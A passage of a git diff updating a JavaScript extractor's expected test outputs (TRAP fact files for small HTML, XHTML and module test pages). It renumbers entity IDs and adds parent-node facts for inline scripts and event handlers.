-entry_cfg_node(#20071,#20042) -#20072=@"loc,{#10000},11,29,11,28" -locations_default(#20072,#10000,11,29,11,28) +regexpterm(#20071,14,#20070,0,"Nope!") +#20072=@"loc,{#10000},11,41,11,45" +locations_default(#20072,#10000,11,41,11,45) hasLocation(#20071,#20072) +regexp_const_value(#20071,"Nope!") #20073=* -exit_cfg_node(#20073,#20042) -hasLocation(#20073,#20060) -successor(#20061,#20063) -successor(#20063,#20067) -successor(#20068,#20065) -successor(#20067,#20068) -successor(#20065,#20062) -successor(#20062,#20073) -successor(#20071,#20061) -#20074=@"script;{#10000},12,23" +entry_cfg_node(#20073,#20044) +#20074=@"loc,{#10000},11,29,11,28" +locations_default(#20074,#10000,11,29,11,28) +hasLocation(#20073,#20074) #20075=* -lines(#20075,#20074,"alert('I said don\'t click!')","") -#20076=@"loc,{#10000},12,23,12,51" -locations_default(#20076,#10000,12,23,12,51) -hasLocation(#20075,#20076) -numlines(#20074,1,1,0) -#20077=* -tokeninfo(#20077,6,#20074,0,"alert") -#20078=@"loc,{#10000},12,23,12,27" -locations_default(#20078,#10000,12,23,12,27) -hasLocation(#20077,#20078) -#20079=* -tokeninfo(#20079,8,#20074,1,"(") -#20080=@"loc,{#10000},12,28,12,28" -locations_default(#20080,#10000,12,28,12,28) -hasLocation(#20079,#20080) -#20081=* -tokeninfo(#20081,4,#20074,2,"'I said don\'t click!'") -#20082=@"loc,{#10000},12,29,12,50" -locations_default(#20082,#10000,12,29,12,50) -hasLocation(#20081,#20082) -#20083=* -tokeninfo(#20083,8,#20074,3,")") -#20084=@"loc,{#10000},12,51,12,51" -locations_default(#20084,#10000,12,51,12,51) -hasLocation(#20083,#20084) -#20085=* -tokeninfo(#20085,0,#20074,4,"") -#20086=@"loc,{#10000},12,52,12,51" -locations_default(#20086,#10000,12,52,12,51) -hasLocation(#20085,#20086) -toplevels(#20074,2) -hasLocation(#20074,#20076) -#20087=* -stmts(#20087,2,#20074,0,"alert(' ... lick!')") -hasLocation(#20087,#20076) -stmt_containers(#20087,#20074) +exit_cfg_node(#20075,#20044) +hasLocation(#20075,#20062) +successor(#20063,#20065) +successor(#20065,#20069) +successor(#20070,#20067) +successor(#20069,#20070) +successor(#20067,#20064) +successor(#20064,#20075) +successor(#20073,#20063) +#20076=* +toplevel_parent_xml_node(#20044,#20076) +#20077=@"script;{#10000},12,23" +#20078=* +lines(#20078,#20077,"alert('I said don\'t click!')","") +#20079=@"loc,{#10000},12,23,12,51" +locations_default(#20079,#10000,12,23,12,51) +hasLocation(#20078,#20079) +numlines(#20077,1,1,0) +#20080=* +tokeninfo(#20080,6,#20077,0,"alert") +#20081=@"loc,{#10000},12,23,12,27" +locations_default(#20081,#10000,12,23,12,27) +hasLocation(#20080,#20081) +#20082=* +tokeninfo(#20082,8,#20077,1,"(") +#20083=@"loc,{#10000},12,28,12,28" +locations_default(#20083,#10000,12,28,12,28) +hasLocation(#20082,#20083) +#20084=* +tokeninfo(#20084,4,#20077,2,"'I said don\'t click!'") +#20085=@"loc,{#10000},12,29,12,50" +locations_default(#20085,#10000,12,29,12,50) +hasLocation(#20084,#20085) +#20086=* +tokeninfo(#20086,8,#20077,3,")") +#20087=@"loc,{#10000},12,51,12,51" +locations_default(#20087,#10000,12,51,12,51) +hasLocation(#20086,#20087) #20088=* -exprs(#20088,13,#20087,0,"alert(' ... lick!')") -hasLocation(#20088,#20076) -enclosing_stmt(#20088,#20087) -expr_containers(#20088,#20074) -#20089=* -exprs(#20089,79,#20088,-1,"alert") -hasLocation(#20089,#20078) -enclosing_stmt(#20089,#20087) -expr_containers(#20089,#20074) -literals("alert","alert",#20089) -bind(#20089,#20026) +tokeninfo(#20088,0,#20077,4,"") +#20089=@"loc,{#10000},12,52,12,51" +locations_default(#20089,#10000,12,52,12,51) +hasLocation(#20088,#20089) +toplevels(#20077,2) +hasLocation(#20077,#20079) #20090=* -exprs(#20090,4,#20088,0,"'I said ... click!'") -hasLocation(#20090,#20082) -enclosing_stmt(#20090,#20087) -expr_containers(#20090,#20074) -literals("I said don't click!","'I said don\'t click!'",#20090) +stmts(#20090,2,#20077,0,"alert(' ... lick!')") +hasLocation(#20090,#20079) +stmt_containers(#20090,#20077) #20091=* -regexpterm(#20091,14,#20090,0,"I said don't click!") -#20092=@"loc,{#10000},12,30,12,49" -locations_default(#20092,#10000,12,30,12,49) -hasLocation(#20091,#20092) -regexp_const_value(#20091,"I said don't click!") +exprs(#20091,13,#20090,0,"alert(' ... lick!')") +hasLocation(#20091,#20079) +enclosing_stmt(#20091,#20090) +expr_containers(#20091,#20077) +#20092=* +exprs(#20092,79,#20091,-1,"alert") +hasLocation(#20092,#20081) +enclosing_stmt(#20092,#20090) +expr_containers(#20092,#20077) +literals("alert","alert",#20092) +bind(#20092,#20026) #20093=* -entry_cfg_node(#20093,#20074) -#20094=@"loc,{#10000},12,23,12,22" -locations_default(#20094,#10000,12,23,12,22) -hasLocation(#20093,#20094) -#20095=* -exit_cfg_node(#20095,#20074) -hasLocation(#20095,#20086) -successor(#20087,#20089) -successor(#20090,#20088) -successor(#20089,#20090) -successor(#20088,#20095) -successor(#20093,#20087) -#20096=@"script;{#10000},13,21" -#20097=* -lines(#20097,#20096,"return false;","") -#20098=@"loc,{#10000},13,21,13,33" -locations_default(#20098,#10000,13,21,13,33) -hasLocation(#20097,#20098) -numlines(#20096,1,1,0) +exprs(#20093,4,#20091,0,"'I said ... click!'") +hasLocation(#20093,#20085) +enclosing_stmt(#20093,#20090) +expr_containers(#20093,#20077) +literals("I said don't click!","'I said don\'t click!'",#20093) +#20094=* +regexpterm(#20094,14,#20093,0,"I said don't click!") +#20095=@"loc,{#10000},12,30,12,49" +locations_default(#20095,#10000,12,30,12,49) +hasLocation(#20094,#20095) +regexp_const_value(#20094,"I said don't click!") +#20096=* +entry_cfg_node(#20096,#20077) +#20097=@"loc,{#10000},12,23,12,22" +locations_default(#20097,#10000,12,23,12,22) +hasLocation(#20096,#20097) +#20098=* +exit_cfg_node(#20098,#20077) +hasLocation(#20098,#20089) +successor(#20090,#20092) +successor(#20093,#20091) +successor(#20092,#20093) +successor(#20091,#20098) +successor(#20096,#20090) #20099=* -tokeninfo(#20099,7,#20096,0,"return") -#20100=@"loc,{#10000},13,21,13,26" -locations_default(#20100,#10000,13,21,13,26) -hasLocation(#20099,#20100) +toplevel_parent_xml_node(#20077,#20099) +#20100=@"script;{#10000},13,21" #20101=* -tokeninfo(#20101,2,#20096,1,"false") -#20102=@"loc,{#10000},13,28,13,32" -locations_default(#20102,#10000,13,28,13,32) +lines(#20101,#20100,"return false;","") +#20102=@"loc,{#10000},13,21,13,33" +locations_default(#20102,#10000,13,21,13,33) hasLocation(#20101,#20102) +numlines(#20100,1,1,0) #20103=* -tokeninfo(#20103,8,#20096,2,";") -#20104=@"loc,{#10000},13,33,13,33" -locations_default(#20104,#10000,13,33,13,33) +tokeninfo(#20103,7,#20100,0,"return") +#20104=@"loc,{#10000},13,21,13,26" +locations_default(#20104,#10000,13,21,13,26) hasLocation(#20103,#20104) #20105=* -tokeninfo(#20105,0,#20096,3,"") -#20106=@"loc,{#10000},13,34,13,33" -locations_default(#20106,#10000,13,34,13,33) +tokeninfo(#20105,2,#20100,1,"false") +#20106=@"loc,{#10000},13,28,13,32" +locations_default(#20106,#10000,13,28,13,32) hasLocation(#20105,#20106) -toplevels(#20096,2) -hasLocation(#20096,#20098) #20107=* -stmts(#20107,9,#20096,0,"return false;") -hasLocation(#20107,#20098) -stmt_containers(#20107,#20096) -#20108=* -exprs(#20108,2,#20107,0,"false") -hasLocation(#20108,#20102) -enclosing_stmt(#20108,#20107) -expr_containers(#20108,#20096) -literals("false","false",#20108) +tokeninfo(#20107,8,#20100,2,";") +#20108=@"loc,{#10000},13,33,13,33" +locations_default(#20108,#10000,13,33,13,33) +hasLocation(#20107,#20108) #20109=* -entry_cfg_node(#20109,#20096) -#20110=@"loc,{#10000},13,21,13,20" -locations_default(#20110,#10000,13,21,13,20) +tokeninfo(#20109,0,#20100,3,"") +#20110=@"loc,{#10000},13,34,13,33" +locations_default(#20110,#10000,13,34,13,33) hasLocation(#20109,#20110) +toplevels(#20100,2) +hasLocation(#20100,#20102) #20111=* -exit_cfg_node(#20111,#20096) -hasLocation(#20111,#20106) -successor(#20108,#20107) -successor(#20107,#20111) -successor(#20109,#20108) +stmts(#20111,9,#20100,0,"return false;") +hasLocation(#20111,#20102) +stmt_containers(#20111,#20100) #20112=* -xmlElements(#20112,"html",#10000,0,#10000) -#20113=@"loc,{#10000},1,1,18,7" -locations_default(#20113,#10000,1,1,18,7) -xmllocations(#20112,#20113) -#20114=* -xmlElements(#20114,"script",#20112,4,#10000) -#20115=@"loc,{#10000},17,5,17,29" -locations_default(#20115,#10000,17,5,17,29) -xmllocations(#20114,#20115) +exprs(#20112,2,#20111,0,"false") +hasLocation(#20112,#20106) +enclosing_stmt(#20112,#20111) +expr_containers(#20112,#20100) +literals("false","false",#20112) +#20113=* +entry_cfg_node(#20113,#20100) +#20114=@"loc,{#10000},13,21,13,20" +locations_default(#20114,#10000,13,21,13,20) +hasLocation(#20113,#20114) +#20115=* +exit_cfg_node(#20115,#20100) +hasLocation(#20115,#20110) +successor(#20112,#20111) +successor(#20111,#20115) +successor(#20113,#20112) #20116=* -xmlAttrs(#20116,#20114,"type","",0,#10000) -#20117=@"loc,{#10000},17,13,17,19" -locations_default(#20117,#10000,17,13,17,19) -xmllocations(#20116,#20117) -#20118=* -xmlElements(#20118,"script",#20112,3,#10000) -#20119=@"loc,{#10000},16,5,16,71" -locations_default(#20119,#10000,16,5,16,71) -xmllocations(#20118,#20119) -#20120=* -xmlAttrs(#20120,#20118,"TYPE","text/x-handlebars-template",0,#10000) -#20121=@"loc,{#10000},16,13,16,45" -locations_default(#20121,#10000,16,13,16,45) -xmllocations(#20120,#20121) -#20122=* -xmlElements(#20122,"script",#20112,2,#10000) -#20123=@"loc,{#10000},15,5,15,71" -locations_default(#20123,#10000,15,5,15,71) -xmllocations(#20122,#20123) -#20124=* -xmlAttrs(#20124,#20122,"type","text/x-handlebars-template",0,#10000) -#20125=@"loc,{#10000},15,13,15,45" -locations_default(#20125,#10000,15,13,15,45) -xmllocations(#20124,#20125) -#20126=* -xmlElements(#20126,"body",#20112,1,#10000) -#20127=@"loc,{#10000},10,5,14,11" -locations_default(#20127,#10000,10,5,14,11) -xmllocations(#20126,#20127) -#20128=* -xmlElements(#20128,"a",#20126,2,#10000) -#20129=@"loc,{#10000},13,9,13,59" -locations_default(#20129,#10000,13,9,13,59) -xmllocations(#20128,#20129) -#20130=* -xmlAttrs(#20130,#20128,"onclick","return false;",0,#10000) -#20131=@"loc,{#10000},13,12,13,34" -locations_default(#20131,#10000,13,12,13,34) -xmllocations(#20130,#20131) -#20132=* -xmlElements(#20132,"div",#20126,1,#10000) -#20133=@"loc,{#10000},12,9,12,75" -locations_default(#20133,#10000,12,9,12,75) -xmllocations(#20132,#20133) -#20134=* -xmlAttrs(#20134,#20132,"onclick","alert('I said don\'t click!')",0,#10000) -#20135=@"loc,{#10000},12,14,12,52" -locations_default(#20135,#10000,12,14,12,52) -xmllocations(#20134,#20135) +toplevel_parent_xml_node(#20100,#20116) +#20117=* +xmlElements(#20117,"html",#10000,0,#10000) +#20118=@"loc,{#10000},1,1,18,7" +locations_default(#20118,#10000,1,1,18,7) +xmllocations(#20117,#20118) +#20119=* +xmlElements(#20119,"script",#20117,4,#10000) +#20120=@"loc,{#10000},17,5,17,29" +locations_default(#20120,#10000,17,5,17,29) +xmllocations(#20119,#20120) +#20121=* +xmlAttrs(#20121,#20119,"type","",0,#10000) +#20122=@"loc,{#10000},17,13,17,19" +locations_default(#20122,#10000,17,13,17,19) +xmllocations(#20121,#20122) +#20123=* +xmlElements(#20123,"script",#20117,3,#10000) +#20124=@"loc,{#10000},16,5,16,71" +locations_default(#20124,#10000,16,5,16,71) +xmllocations(#20123,#20124) +#20125=* +xmlAttrs(#20125,#20123,"TYPE","text/x-handlebars-template",0,#10000) +#20126=@"loc,{#10000},16,13,16,45" +locations_default(#20126,#10000,16,13,16,45) +xmllocations(#20125,#20126) +#20127=* +xmlElements(#20127,"script",#20117,2,#10000) +#20128=@"loc,{#10000},15,5,15,71" +locations_default(#20128,#10000,15,5,15,71) +xmllocations(#20127,#20128) +#20129=* +xmlAttrs(#20129,#20127,"type","text/x-handlebars-template",0,#10000) +#20130=@"loc,{#10000},15,13,15,45" +locations_default(#20130,#10000,15,13,15,45) +xmllocations(#20129,#20130) +#20131=* +xmlElements(#20131,"body",#20117,1,#10000) +#20132=@"loc,{#10000},10,5,14,11" +locations_default(#20132,#10000,10,5,14,11) +xmllocations(#20131,#20132) +#20133=* +xmlElements(#20133,"a",#20131,2,#10000) +#20134=@"loc,{#10000},13,9,13,59" +locations_default(#20134,#10000,13,9,13,59) +xmllocations(#20133,#20134) +xmlAttrs(#20116,#20133,"onclick","return false;",0,#10000) +#20135=@"loc,{#10000},13,12,13,34" +locations_default(#20135,#10000,13,12,13,34) +xmllocations(#20116,#20135) #20136=* -xmlElements(#20136,"a",#20126,0,#10000) -#20137=@"loc,{#10000},11,9,11,64" -locations_default(#20137,#10000,11,9,11,64) +xmlElements(#20136,"div",#20131,1,#10000) +#20137=@"loc,{#10000},12,9,12,75" +locations_default(#20137,#10000,12,9,12,75) xmllocations(#20136,#20137) -#20138=* -xmlAttrs(#20138,#20136,"href","javascript:void(alert('Nope!'))",0,#10000) -#20139=@"loc,{#10000},11,12,11,49" -locations_default(#20139,#10000,11,12,11,49) -xmllocations(#20138,#20139) -#20140=* -xmlElements(#20140,"head",#20112,0,#10000) -#20141=@"loc,{#10000},2,5,9,11" -locations_default(#20141,#10000,2,5,9,11) -xmllocations(#20140,#20141) +xmlAttrs(#20099,#20136,"onclick","alert('I said don\'t click!')",0,#10000) +#20138=@"loc,{#10000},12,14,12,52" +locations_default(#20138,#10000,12,14,12,52) +xmllocations(#20099,#20138) +#20139=* +xmlElements(#20139,"a",#20131,0,#10000) +#20140=@"loc,{#10000},11,9,11,64" +locations_default(#20140,#10000,11,9,11,64) +xmllocations(#20139,#20140) +xmlAttrs(#20076,#20139,"href","javascript:void(alert('Nope!'))",0,#10000) +#20141=@"loc,{#10000},11,12,11,49" +locations_default(#20141,#10000,11,12,11,49) +xmllocations(#20076,#20141) #20142=* -xmlElements(#20142,"script",#20140,3,#10000) -#20143=@"loc,{#10000},8,9,8,26" -locations_default(#20143,#10000,8,9,8,26) +xmlElements(#20142,"head",#20117,0,#10000) +#20143=@"loc,{#10000},2,5,9,11" +locations_default(#20143,#10000,2,5,9,11) xmllocations(#20142,#20143) -#20144=* -xmlElements(#20144,"script",#20140,2,#10000) +xmlElements(#20043,"script",#20142,3,#10000) +#20144=@"loc,{#10000},8,9,8,26" +locations_default(#20144,#10000,8,9,8,26) +xmllocations(#20043,#20144) +xmlElements(#20032,"script",#20142,2,#10000) #20145=@"loc,{#10000},5,9,7,17" locations_default(#20145,#10000,5,9,7,17) -xmllocations(#20144,#20145) +xmllocations(#20032,#20145) #20146=* -xmlElements(#20146,"script",#20140,1,#10000) +xmlElements(#20146,"script",#20142,1,#10000) #20147=@"loc,{#10000},4,9,4,43" locations_default(#20147,#10000,4,9,4,43) xmllocations(#20146,#20147) @@ -465,7 +470,7 @@ xmlAttrs(#20148,#20146,"src","external.js",0,#10000) locations_default(#20149,#10000,4,17,4,33) xmllocations(#20148,#20149) #20150=* -xmlElements(#20150,"title",#20140,0,#10000) +xmlElements(#20150,"title",#20142,0,#10000) #20151=@"loc,{#10000},3,9,3,32" locations_default(#20151,#10000,3,9,3,32) xmllocations(#20150,#20151) diff --git a/javascript/extractor/tests/html/output/trap/tst.xhtml.trap b/javascript/extractor/tests/html/output/trap/tst.xhtml.trap index e38c5d4d779..9b874e74b95 100644 --- a/javascript/extractor/tests/html/output/trap/tst.xhtml.trap +++ b/javascript/extractor/tests/html/output/trap/tst.xhtml.trap @@ -75,37 +75,38 @@ successor(#20017,#20019) successor(#20019,#20021) successor(#20020,#20017) #20022=* -xmlElements(#20022,"html",#10000,0,#10000) -#20023=@"loc,{#10000},2,1,12,7" -locations_default(#20023,#10000,2,1,12,7) -xmllocations(#20022,#20023) -#20024=* -xmlAttrs(#20024,#20022,"xmlns","http://www.w3.org/1999/xhtml",0,#10000) -#20025=@"loc,{#10000},2,7,2,42" -locations_default(#20025,#10000,2,7,2,42) -xmllocations(#20024,#20025) -#20026=* -xmlAttrs(#20026,#20022,"xml:lang","en",1,#10000) -#20027=@"loc,{#10000},2,44,2,56" -locations_default(#20027,#10000,2,44,2,56) -xmllocations(#20026,#20027) -#20028=* -xmlElements(#20028,"body",#20022,1,#10000) -#20029=@"loc,{#10000},6,1,11,7" -locations_default(#20029,#10000,6,1,11,7) -xmllocations(#20028,#20029) -#20030=* -xmlElements(#20030,"script",#20028,0,#10000) +toplevel_parent_xml_node(#20001,#20022) +#20023=* +xmlElements(#20023,"html",#10000,0,#10000) +#20024=@"loc,{#10000},2,1,12,7" +locations_default(#20024,#10000,2,1,12,7) +xmllocations(#20023,#20024) +#20025=* +xmlAttrs(#20025,#20023,"xmlns","http://www.w3.org/1999/xhtml",0,#10000) +#20026=@"loc,{#10000},2,7,2,42" +locations_default(#20026,#10000,2,7,2,42) +xmllocations(#20025,#20026) +#20027=* +xmlAttrs(#20027,#20023,"xml:lang","en",1,#10000) +#20028=@"loc,{#10000},2,44,2,56" +locations_default(#20028,#10000,2,44,2,56) +xmllocations(#20027,#20028) +#20029=* +xmlElements(#20029,"body",#20023,1,#10000) +#20030=@"loc,{#10000},6,1,11,7" +locations_default(#20030,#10000,6,1,11,7) +xmllocations(#20029,#20030) +xmlElements(#20022,"script",#20029,0,#10000) #20031=@"loc,{#10000},7,5,10,16" locations_default(#20031,#10000,7,5,10,16) -xmllocations(#20030,#20031) +xmllocations(#20022,#20031) #20032=* -xmlAttrs(#20032,#20030,"type","application/javascript",0,#10000) +xmlAttrs(#20032,#20022,"type","application/javascript",0,#10000) #20033=@"loc,{#10000},7,13,7,41" locations_default(#20033,#10000,7,13,7,41) xmllocations(#20032,#20033) #20034=* -xmlElements(#20034,"head",#20022,0,#10000) +xmlElements(#20034,"head",#20023,0,#10000) #20035=@"loc,{#10000},3,1,5,7" locations_default(#20035,#10000,3,1,5,7) xmllocations(#20034,#20035) diff --git a/javascript/extractor/tests/html/output/trap/tst2.html.trap b/javascript/extractor/tests/html/output/trap/tst2.html.trap index 4db4a8ff3b0..050936eb14e 100644 --- a/javascript/extractor/tests/html/output/trap/tst2.html.trap +++ b/javascript/extractor/tests/html/output/trap/tst2.html.trap @@ -67,302 +67,306 @@ successor(#20013,#20015) successor(#20015,#20014) successor(#20014,#20018) successor(#20016,#20013) -#20019=@"script;{#10000},3,29" -#20020=* -lines(#20020,#20019,"var world;","") -#20021=@"loc,{#10000},3,29,3,38" -locations_default(#20021,#10000,3,29,3,38) -hasLocation(#20020,#20021) -numlines(#20019,1,1,0) -#20022=* -tokeninfo(#20022,7,#20019,0,"var") -#20023=@"loc,{#10000},3,29,3,31" -locations_default(#20023,#10000,3,29,3,31) -hasLocation(#20022,#20023) -#20024=* -tokeninfo(#20024,6,#20019,1,"world") -#20025=@"loc,{#10000},3,33,3,37" -locations_default(#20025,#10000,3,33,3,37) -hasLocation(#20024,#20025) -#20026=* -tokeninfo(#20026,8,#20019,2,";") -#20027=@"loc,{#10000},3,38,3,38" -locations_default(#20027,#10000,3,38,3,38) -hasLocation(#20026,#20027) -#20028=* -tokeninfo(#20028,0,#20019,3,"") -#20029=@"loc,{#10000},3,39,3,38" -locations_default(#20029,#10000,3,39,3,38) -hasLocation(#20028,#20029) -toplevels(#20019,1) -hasLocation(#20019,#20021) -#20030=@"var;{world};{#20000}" -variables(#20030,"world",#20000) -#20031=* -stmts(#20031,18,#20019,0,"var world;") -hasLocation(#20031,#20021) -stmt_containers(#20031,#20019) +#20019=* +toplevel_parent_xml_node(#20001,#20019) +#20020=@"script;{#10000},3,29" +#20021=* +lines(#20021,#20020,"var world;","") +#20022=@"loc,{#10000},3,29,3,38" +locations_default(#20022,#10000,3,29,3,38) +hasLocation(#20021,#20022) +numlines(#20020,1,1,0) +#20023=* +tokeninfo(#20023,7,#20020,0,"var") +#20024=@"loc,{#10000},3,29,3,31" +locations_default(#20024,#10000,3,29,3,31) +hasLocation(#20023,#20024) +#20025=* +tokeninfo(#20025,6,#20020,1,"world") +#20026=@"loc,{#10000},3,33,3,37" +locations_default(#20026,#10000,3,33,3,37) +hasLocation(#20025,#20026) +#20027=* +tokeninfo(#20027,8,#20020,2,";") +#20028=@"loc,{#10000},3,38,3,38" +locations_default(#20028,#10000,3,38,3,38) +hasLocation(#20027,#20028) +#20029=* +tokeninfo(#20029,0,#20020,3,"") +#20030=@"loc,{#10000},3,39,3,38" +locations_default(#20030,#10000,3,39,3,38) +hasLocation(#20029,#20030) +toplevels(#20020,1) +hasLocation(#20020,#20022) +#20031=@"var;{world};{#20000}" +variables(#20031,"world",#20000) #20032=* -exprs(#20032,64,#20031,0,"world") -hasLocation(#20032,#20025) -enclosing_stmt(#20032,#20031) -expr_containers(#20032,#20019) +stmts(#20032,18,#20020,0,"var world;") +hasLocation(#20032,#20022) +stmt_containers(#20032,#20020) #20033=* -exprs(#20033,78,#20032,0,"world") -hasLocation(#20033,#20025) -enclosing_stmt(#20033,#20031) -expr_containers(#20033,#20019) -literals("world","world",#20033) -decl(#20033,#20030) +exprs(#20033,64,#20032,0,"world") +hasLocation(#20033,#20026) +enclosing_stmt(#20033,#20032) +expr_containers(#20033,#20020) #20034=* -entry_cfg_node(#20034,#20019) -#20035=@"loc,{#10000},3,29,3,28" -locations_default(#20035,#10000,3,29,3,28) -hasLocation(#20034,#20035) -#20036=* -exit_cfg_node(#20036,#20019) -hasLocation(#20036,#20029) -successor(#20031,#20033) -successor(#20033,#20032) -successor(#20032,#20036) -successor(#20034,#20031) -#20037=@"script;{#10000},4,75" +exprs(#20034,78,#20033,0,"world") +hasLocation(#20034,#20026) +enclosing_stmt(#20034,#20032) +expr_containers(#20034,#20020) +literals("world","world",#20034) +decl(#20034,#20031) +#20035=* +entry_cfg_node(#20035,#20020) +#20036=@"loc,{#10000},3,29,3,28" +locations_default(#20036,#10000,3,29,3,28) +hasLocation(#20035,#20036) +#20037=* +exit_cfg_node(#20037,#20020) +hasLocation(#20037,#20030) +successor(#20032,#20034) +successor(#20034,#20033) +successor(#20033,#20037) +successor(#20035,#20032) #20038=* -lines(#20038,#20037,""," -") -#20039=@"loc,{#10000},4,75,4,74" -locations_default(#20039,#10000,4,75,4,74) -hasLocation(#20038,#20039) +toplevel_parent_xml_node(#20020,#20038) +#20039=@"script;{#10000},4,75" #20040=* -lines(#20040,#20037," var inAModule;"," +lines(#20040,#20039,""," ") -#20041=@"loc,{#10000},5,1,5,20" -locations_default(#20041,#10000,5,1,5,20) +#20041=@"loc,{#10000},4,75,4,74" +locations_default(#20041,#10000,4,75,4,74) hasLocation(#20040,#20041) -indentation(#10000,5," ",6) #20042=* -lines(#20042,#20037," ","") -#20043=@"loc,{#10000},6,1,6,4" -locations_default(#20043,#10000,6,1,6,4) +lines(#20042,#20039," var inAModule;"," +") +#20043=@"loc,{#10000},5,1,5,20" +locations_default(#20043,#10000,5,1,5,20) hasLocation(#20042,#20043) -numlines(#20037,3,1,0) +indentation(#10000,5," ",6) #20044=* -tokeninfo(#20044,7,#20037,0,"var") -#20045=@"loc,{#10000},5,7,5,9" -locations_default(#20045,#10000,5,7,5,9) +lines(#20044,#20039," ","") +#20045=@"loc,{#10000},6,1,6,4" +locations_default(#20045,#10000,6,1,6,4) hasLocation(#20044,#20045) +numlines(#20039,3,1,0) #20046=* -tokeninfo(#20046,6,#20037,1,"inAModule") -#20047=@"loc,{#10000},5,11,5,19" -locations_default(#20047,#10000,5,11,5,19) +tokeninfo(#20046,7,#20039,0,"var") +#20047=@"loc,{#10000},5,7,5,9" +locations_default(#20047,#10000,5,7,5,9) hasLocation(#20046,#20047) #20048=* -tokeninfo(#20048,8,#20037,2,";") -#20049=@"loc,{#10000},5,20,5,20" -locations_default(#20049,#10000,5,20,5,20) +tokeninfo(#20048,6,#20039,1,"inAModule") +#20049=@"loc,{#10000},5,11,5,19" +locations_default(#20049,#10000,5,11,5,19) hasLocation(#20048,#20049) #20050=* -tokeninfo(#20050,0,#20037,3,"") -#20051=@"loc,{#10000},6,5,6,4" -locations_default(#20051,#10000,6,5,6,4) +tokeninfo(#20050,8,#20039,2,";") +#20051=@"loc,{#10000},5,20,5,20" +locations_default(#20051,#10000,5,20,5,20) hasLocation(#20050,#20051) -toplevels(#20037,1) -#20052=@"loc,{#10000},4,75,6,4" -locations_default(#20052,#10000,4,75,6,4) -hasLocation(#20037,#20052) -#20053=@"module;{#10000},4,75" -scopes(#20053,3) -scopenodes(#20037,#20053) -scopenesting(#20053,#20000) -is_module(#20037) -is_es2015_module(#20037) -#20054=@"var;{inAModule};{#20053}" -variables(#20054,"inAModule",#20053) -#20055=* -stmts(#20055,18,#20037,0,"var inAModule;") -#20056=@"loc,{#10000},5,7,5,20" -locations_default(#20056,#10000,5,7,5,20) -hasLocation(#20055,#20056) -stmt_containers(#20055,#20037) +#20052=* +tokeninfo(#20052,0,#20039,3,"") +#20053=@"loc,{#10000},6,5,6,4" +locations_default(#20053,#10000,6,5,6,4) +hasLocation(#20052,#20053) +toplevels(#20039,1) +#20054=@"loc,{#10000},4,75,6,4" +locations_default(#20054,#10000,4,75,6,4) +hasLocation(#20039,#20054) +#20055=@"module;{#10000},4,75" +scopes(#20055,3) +scopenodes(#20039,#20055) +scopenesting(#20055,#20000) +is_module(#20039) +is_es2015_module(#20039) +#20056=@"var;{inAModule};{#20055}" +variables(#20056,"inAModule",#20055) #20057=* -exprs(#20057,64,#20055,0,"inAModule") -hasLocation(#20057,#20047) -enclosing_stmt(#20057,#20055) -expr_containers(#20057,#20037) -#20058=* -exprs(#20058,78,#20057,0,"inAModule") -hasLocation(#20058,#20047) -enclosing_stmt(#20058,#20055) -expr_containers(#20058,#20037) -literals("inAModule","inAModule",#20058) -decl(#20058,#20054) +stmts(#20057,18,#20039,0,"var inAModule;") +#20058=@"loc,{#10000},5,7,5,20" +locations_default(#20058,#10000,5,7,5,20) +hasLocation(#20057,#20058) +stmt_containers(#20057,#20039) #20059=* -entry_cfg_node(#20059,#20037) -hasLocation(#20059,#20039) +exprs(#20059,64,#20057,0,"inAModule") +hasLocation(#20059,#20049) +enclosing_stmt(#20059,#20057) +expr_containers(#20059,#20039) #20060=* -exit_cfg_node(#20060,#20037) -hasLocation(#20060,#20051) -successor(#20055,#20058) -successor(#20058,#20057) -successor(#20057,#20060) -successor(#20059,#20055) -#20061=@"script;{#10000},7,75" +exprs(#20060,78,#20059,0,"inAModule") +hasLocation(#20060,#20049) +enclosing_stmt(#20060,#20057) +expr_containers(#20060,#20039) +literals("inAModule","inAModule",#20060) +decl(#20060,#20056) +#20061=* +entry_cfg_node(#20061,#20039) +hasLocation(#20061,#20041) #20062=* -lines(#20062,#20061,""," +exit_cfg_node(#20062,#20039) +hasLocation(#20062,#20053) +successor(#20057,#20060) +successor(#20060,#20059) +successor(#20059,#20062) +successor(#20061,#20057) +#20063=* +toplevel_parent_xml_node(#20039,#20063) +#20064=@"script;{#10000},7,75" +#20065=* +lines(#20065,#20064,""," ") -#20063=@"loc,{#10000},7,75,7,74" -locations_default(#20063,#10000,7,75,7,74) -hasLocation(#20062,#20063) -#20064=* -lines(#20064,#20061," import f from ""f"""," +#20066=@"loc,{#10000},7,75,7,74" +locations_default(#20066,#10000,7,75,7,74) +hasLocation(#20065,#20066) +#20067=* +lines(#20067,#20064," import f from ""f"""," ") -#20065=@"loc,{#10000},8,1,8,23" -locations_default(#20065,#10000,8,1,8,23) -hasLocation(#20064,#20065) +#20068=@"loc,{#10000},8,1,8,23" +locations_default(#20068,#10000,8,1,8,23) +hasLocation(#20067,#20068) indentation(#10000,8," ",6) -#20066=* -lines(#20066,#20061," ","") -#20067=@"loc,{#10000},9,1,9,4" -locations_default(#20067,#10000,9,1,9,4) -hasLocation(#20066,#20067) -numlines(#20061,3,1,0) -#20068=* -tokeninfo(#20068,7,#20061,0,"import") -#20069=@"loc,{#10000},8,7,8,12" -locations_default(#20069,#10000,8,7,8,12) -hasLocation(#20068,#20069) -#20070=* -tokeninfo(#20070,6,#20061,1,"f") -#20071=@"loc,{#10000},8,14,8,14" -locations_default(#20071,#10000,8,14,8,14) -hasLocation(#20070,#20071) -#20072=* -tokeninfo(#20072,6,#20061,2,"from") -#20073=@"loc,{#10000},8,16,8,19" -locations_default(#20073,#10000,8,16,8,19) -hasLocation(#20072,#20073) -#20074=* -tokeninfo(#20074,4,#20061,3,"""f""") -#20075=@"loc,{#10000},8,21,8,23" -locations_default(#20075,#10000,8,21,8,23) -hasLocation(#20074,#20075) -#20076=* -tokeninfo(#20076,0,#20061,4,"") -#20077=@"loc,{#10000},9,5,9,4" -locations_default(#20077,#10000,9,5,9,4) -hasLocation(#20076,#20077) -toplevels(#20061,1) -#20078=@"loc,{#10000},7,75,9,4" -locations_default(#20078,#10000,7,75,9,4) -hasLocation(#20061,#20078) -#20079=@"module;{#10000},7,75" -scopes(#20079,3) -scopenodes(#20061,#20079) -scopenesting(#20079,#20000) -is_module(#20061) -is_es2015_module(#20061) -#20080=@"var;{f};{#20079}" -variables(#20080,"f",#20079) -#20081=@"local_type_name;{f};{#20079}" -local_type_names(#20081,"f",#20079) -#20082=@"local_namespace_name;{f};{#20079}" -local_namespace_names(#20082,"f",#20079) -variables(#20080,"f",#20079) 